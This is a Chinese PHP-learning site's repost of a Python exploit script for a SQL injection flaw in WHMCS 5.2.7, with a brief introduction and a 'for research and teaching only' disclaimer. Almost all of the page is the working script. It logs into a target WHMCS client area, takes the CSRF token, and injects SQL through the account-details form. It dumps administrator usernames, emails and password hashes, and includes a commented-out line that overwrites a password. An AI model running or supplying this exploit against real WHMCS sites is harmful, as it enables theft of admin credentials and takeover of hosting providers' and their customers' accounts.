来源:自学PHP网 时间:2015-04-17 10:16 作者: 阅读:次
[导读] Localhost在汇报WHMCS SQL注射的时候,顺便和EXP一起发布了,这里就将他转了过来!本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!! usr bin env python 2013 10 03 - WHMCS 5...
Localhost在汇报WHMCS SQL注射的时候,顺便和EXP一起发布了,这里就将他转了过来!
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
!/usr/bin/env python # 2013/10/03 - WHMCS 5.2.7 SQL Injection # http://localhost.re/p/whmcs-527-vulnerability url = 'http://clients.target.com/' # wopsie dopsie user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php user_pwd = 'hacker' import urllib, re, sys from urllib2 import Request, urlopen ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" def exploit(sql): print "Doing stuff: %s" % sql r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read() return re.search(r'(id="firstname" value="(.*?)")', r).group(2) def login(): print "Getting CSRF token" r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua})) csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2) cookie = r.info()['set-cookie'].split(';')[0] print "Logging in" r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read() if 'dologin.php' in r: sys.exit('Unable to login') else: return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)] user = login() print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients # oh you want to be evil #exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com